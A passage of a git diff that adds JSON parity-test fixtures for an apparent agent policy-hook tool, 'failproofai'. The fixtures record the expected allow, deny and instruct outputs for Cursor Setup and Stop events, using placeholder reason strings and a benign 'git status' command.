&a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2de67a01 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f8a7403f --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ae08a55e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..47eaa70d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d277a58a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9c3453f3 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b271715e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..97e8448a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..b3d93f15 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7a234f7a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..df3617bc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9a91c8e6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ec52c3fc --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9ecdb589 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/deny__tool-present__one-policy.json new file mode 100644 index 00000000..93cc87eb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/deny__tool-present__two-policies.json new file mode 100644 index 00000000..f1bd5d09 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"MANDATORY ACTION REQUIRED from failproofai (policy: parity/policy-1): parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\n\\nYou MUST complete the above action NOW. Do NOT ask the user for confirmation — execute the required action, then attempt to finish your task again.\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..bfdacf10 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..4f3ad4ed --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Stop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"followup_message\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Stop/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..40d70e9a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Stop/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "Stop", + "input": { + "event_type": "Stop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Stop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": 